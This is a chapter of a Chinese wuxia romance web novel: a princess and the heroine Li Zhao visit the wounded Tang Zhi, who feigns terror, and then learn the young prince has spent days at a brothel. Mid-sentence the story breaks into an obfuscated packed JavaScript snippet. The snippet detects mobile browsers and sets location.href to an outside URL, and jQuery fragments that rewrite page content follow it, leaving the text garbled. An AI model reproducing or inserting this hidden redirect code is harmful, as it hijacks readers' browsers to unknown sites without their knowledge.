接连几日,黎昭都未曾再见过萧怀翊,自那日他丢下一句“随便”之后,这位小王爷竟当真再未来找过她的麻烦。


    这对黎昭而言自然是件求之不得的好事。


    这期间,关于唐芷的消息也断断续续透过府中下人的议论传入耳中。


    据说唐芷第二日便醒过来了,不过状况实在堪忧,人虽睁了眼,却浑浑噩噩的,口中呓语不断,时哭时笑,像是被那夜的变故吓得失了神智。


    这消息令黎昭心下难安,却苦于寻不到合适的契机去探探虚实。直到这日傍晚,萧云禾脚步匆匆寻到了她住的小院。


    “黎姑娘。”


    萧云禾声音微喘,连日笼罩阴霾的脸上难得流露一丝轻快:“唐芷姑娘总算无碍了。”


    “昨日唐门派来的医师守了一整宿,刚刚伺候的丫鬟过来传话说,唐姑娘确确实实恢复正常了。”


    黎昭抬眼看向萧云禾,状似随意地问道:“唐门派了人来?莫非是来接唐芷姑娘回去的?”


    萧云禾摇了摇头:“这倒不是。那医师说了,唐姑娘如今伤势未愈,最忌颠簸。唐门又建在蜀道绝险之处,眼下实在不宜舟车劳顿,还是继续留在王府将养为好,等身子调理的差不多了,再派人来接。”


    说到这里,萧云禾心里不免有些过意不去。


    她本来以为像唐门这样的江湖门派在得知唐芷受伤的消息后定要兴师问罪,但谁曾想唐门非但没有怪罪,反而对王府愿意留唐芷养伤这一举动表现得感激不尽,那热络的态度像是王府施了多大恩惠一样。


    这倒显得她之前的揣测太过小人之心了。


    萧云禾面露同情,叹道:“唐芷姑娘平白遭此横祸,当真是可怜。我正打算待会儿去探望一番,顺便打听一下那刺客的线索,黎姑娘可要与我同去?”


    黎昭还在思索该如何名正言顺地去见那位唐门小姐,闻言便顺水推舟,欣然应允道:“好。”


    二人来到唐芷养伤的听雨轩。


    院落幽静,伺候的丫鬟们训练有素,动作也轻手轻脚,生怕惊扰了养伤的人。


    推门进去时,唐芷正呆呆地立在半开的窗前,她脸色依旧苍白,唇上淡得几乎看不见血色,单薄的身影裹在素色衣衫里,仿佛一阵风就能将她吹倒。


    听到动静,她像是受惊的小鹿般猛地转头,眼神带着几分怯意,待看清来人是萧云禾时,又慌忙垂下眼帘。


    萧云禾快步走进屋内,关切地问道:“唐姑娘,感觉可好些了?”


    “多谢郡主挂怀。”唐芷的声音细弱蚊蚋,垂落在身侧的手指无措地绞着裙角。


    “我好多了,这几日实在是给王府添麻烦了。”


    萧云禾将唐芷的局促尽收眼底,秀眉微微拢起。


    虽说有所好转,可眼前人这副惊弓之鸟的样子,比她预想的还要严重许多。


    她伸手虚扶了一下唐芷的手臂,引她坐下,握着她的手安抚道:“能好起来就好,那夜之事着实对不住。但你放心,府里已加强了戒备,绝不会再让宵小有可乘之机,你且安心在府里养着,有什么需要,只管吩咐下人。”


    唐芷绞着衣角的手蜷紧了一下,复又低低应了一声:“有劳郡主费心。”


    黎昭安静地站在萧云禾身后,趁着无人注意,细细观察着唐芷。


    少女始终埋着头,眼神怯怯地飘忽不定,始终不敢直视任何人,只是一味地盯着自己鞋尖上那朵颤巍巍的芙蓉花。


    唐门以用毒与机关术闻名江湖,行事作风颇以狠辣果决著称,可眼前这位唐门小姐怯懦畏缩,未免与传闻中的唐门做派大相径庭。


    萧云禾接过丫鬟奉上的温水,递给唐芷的同时,温言问道:“对了,唐姑娘,关于那夜行凶之人……你可还有什么印象?比如样貌或身形之类的特征?”


    “哐当——”


    唐芷失手打翻了水杯,水渍洇湿了她半边衣袖。


    她像是被这声响惊到了,又仿佛看见了极恐怖的景象,整个人缩成一团,拼命摇着头,声音抖得不成样子,“不、不记得了。那天太黑了……我什么都不知道!”


    “唐姑娘,别怕别怕。”萧云禾吓了一跳,连忙扶住她颤抖的肩膀,心中懊悔不已,“是我不好,不该问这个。”她一边柔声安抚,一遍眼神示意随侍的丫鬟。


    几个丫鬟连忙上前,手忙脚乱地收拾着桌上的狼藉。


    就在这略显混乱的当口,门外响起一阵脚步声。


    一名约莫四十岁上下,面容精瘦中年男子提着药箱踱步而入。看到萧云禾也在,他脚步一转,向其躬身行了个礼道:“参见郡主,在下唐荣,此前奉家主之命,特来照看芷小姐的伤势。”


    说罢,他目光掠过略显狼狈的唐芷,只见她整个人瑟缩着,眼神涣散惊惶,一副被彻底吓破了胆的模样。


    唐荣眼中飞快掠过一丝轻蔑。


    啧,果真是扶不上墙的烂泥,上不得台面。


    他捻了捻胡子,一板一眼道:“芷小姐,养伤贵在静心凝神,情绪大起大落最是伤身。”


    言语间乍听似是关切,细品之下却带着一种居高临下的训诫之意。


    说着,他慢条斯理地从药箱中取出一个青瓷药瓶,“这是家主交代给芷小姐的息心丸,最能安神静气。”


    递过去时,粗糙的手指特意在瓶身上轻叩了两下,“还望小姐好好调养,莫要辜负了门主的一片心意。”


    唐芷渐渐平复下来。


    她缓缓抬眼,目光落向药瓶,睫羽轻颤,迟疑片刻终是伸手接过。


    唐荣见状,古版的脸上浮现出一丝满意的神色。


    此行目的已达到,唐荣也无意多留。


    他利落地收拾好东西便向萧云禾请辞道:“郡主,眼下芷小姐神思既已清明,此间事了,在下也可安心回去向门主复命了。”


    唐荣离开后,萧云禾见唐芷受了惊吓,此刻又湿了衣袖,便让丫鬟们先伺候她更衣,随后又细细叮嘱了几句好生休息,按时吃药之类的话,这才与黎昭一同离开。


    室内重回寂静。


    趁着丫鬟去取衣裳的间隙,唐芷灵巧地拔开瓶口木塞。她凑近去闻,一阵奇异的香气瞬间钻入鼻腔。


    初闻清甜,恍若春日幽谷中某种不为人知的异卉初绽,带着一丝令人目眩的暖意,丝丝缕缕直往人骨头缝里钻。


    她猛地将药瓶拿开。


    方才那双还盛满怯懦慌乱的眸子顷刻凝上一层寒霜,所有的畏缩与惊慌褪去,只余下一片洞悉一切后的冷漠。


    这哪里是什么“息心丸”,分明是能将人拖入欲海沉沦的“醉生梦”。


    唐芷撇撇嘴,唇角牵起轻蔑的弧度,看来那帮老不死的还做着攀上南安王府高枝的美梦呢?


    *


    走出听雨轩,萧云禾长叹一口气,对黎昭感慨道:“唉,都怪我太心急了。看唐姑娘那样子,当真是被那夜之事吓破了胆,竟连提都不能提。”


    黎昭沉默地走着,总觉得整件事透着说不出的古怪,唐门的态度、唐芷的反应、甚至是唐芷的伤……


    那日她看过唐芷的伤口,似乎与刺客所用的那把匕首的刃口弧度不太吻合。但当时到底只是匆匆一瞥,许是她看错了也未可知。


    她正犹豫着要不要将心头的疑虑告诉萧云禾。


    忽见身旁的人像是突然看见什么人,噔噔噔地上前追了几步。


    “藏锋?”


    “你给我站住!”


    黎昭闻声望去,发现前方廊柱后确实有个鬼鬼祟祟的身影正猫着腰,贴着墙根走。


    听到有人叫他,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592496|187415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那人非但没有停下,反而像是被踩了尾巴的猫一样,脚步猛地加快,一溜烟就要往相反方向跑。


    “藏锋!本郡主叫你站住,你聋了吗?”萧云禾柳眉倒竖,声音陡然拔高,显然动了怒。


    藏锋一僵,顿在原地,肩膀垮了下来。


    他极其不情愿地转过身,一张圆脸上满是心虚,根本不敢直视萧云禾:“郡、郡主……”


    “鬼鬼祟祟地做什么?”萧云禾盯着他,想起自己似乎已经好几日没见过萧怀翊了,顺嘴问道:“这几日王爷人呢?怎么连个人影都见不着。”


    藏锋眼神更加飘忽,支支吾吾道:“王爷他……”


    “快说。”萧云禾见他这副样子,知道肯定没什么好事,“再吞吞吐吐,小心我让人把你绑了扔柴房饿上三天三夜。”


    藏锋吓得一个激灵,哭丧着脸,心道这下是彻底瞒不住了。


    “王爷……他这几日都在怡香楼……”


    怡香楼是云州城最有名的风月之地。


    萧云禾眼前一黑,只觉浑身血气直冲脑门。


    “怡、香、楼。”萧云禾几乎是从齿缝里挤出这几个字。


    “他在那种地方待了几天了?”


    藏锋被她语气里的寒意慑得一颤,声音险些带上哭腔:“约莫六七天吧。”


    他索性豁了出去,一股脑全交代出来。


    “今早王爷身上的银子都花光了,这才打发小的回来取点。”


    萧云禾气得浑身发抖。


    “他好大的能耐啊?”


    “堂堂王府的小王爷,成日花天酒地不说,把钱败光了还有脸让人偷偷摸摸回来取?”


    萧怀翊人不在,萧云禾只能指着藏锋骂道:“你身为王爷贴身小厮,王爷不清醒你不知道劝吗,还在这助纣为虐?”


    藏锋吓得“噗通”一声跪在地上,连连磕头,声音带着真切的恐惧:“郡主饶命啊!不是小的不劝。实在是王爷这几日心情不好,看谁都不顺眼,小的实在没那个胆子触这个霉头啊。”


    萧云禾越想越气,心中一股邪火无处发泄:“你现在马上去怡香楼,给我把那混账东西揪回来!”


    藏锋一听,脸皱得更苦,连连哀求道:“郡主可别为难小的了,王爷那脾性您又不是不知道,倔劲儿一上来,十头牛都拉不回来。要不还是劳您大驾亲自去一趟?您说话……王爷兴许还能听两句。”


    萧云禾被藏锋的话堵得一口气上不来,看着跪在地上抖如筛糠的藏锋,又想起自己那个无法无天的兄长,巨大的无力感涌上心头。


    她又急又怒,泪珠在眼眶里打转,声音满是失望:“他……他怎么能这样……家里出了这么大的事,唐姑娘还伤着,他倒好……跑去那种地方醉生梦死。”


    她恨不能真如藏锋所说,亲自去怡香楼把那不成器的兄长揪回来,可这世道对向来女子严苛,那烟花之地她今日若是去了,明日整个云州城怕是都传得沸沸扬扬。


    一想到兄长可能在那腌臜地方胡作非为,而自己竟束手无策,萧云禾一时间只觉得天旋地转,几乎站立不稳。


    “郡主。”一直沉默旁观的黎昭及时上前一步,稳稳托住她的手臂。


    萧云禾抬起泪眼婆娑的脸,茫然又无助地看着她。


    黎昭在心底轻轻一叹。


    唉,她果真还是见不得女孩子哭呀。


    她看向萧云禾,语气淡然却自有一股令人安心的力量:“不必慌乱,我去便是。”


    萧云禾一愣,泪珠挂在长睫上忘了落下:“黎姑娘?你……你去?”


    “嗯。”黎昭点点头,神情坦然自若。


    “江湖中人素来不讲究这些繁文缛节。那等地方于你身份有碍,于我却是无妨。”


    “我去替郡主将王爷寻回来。”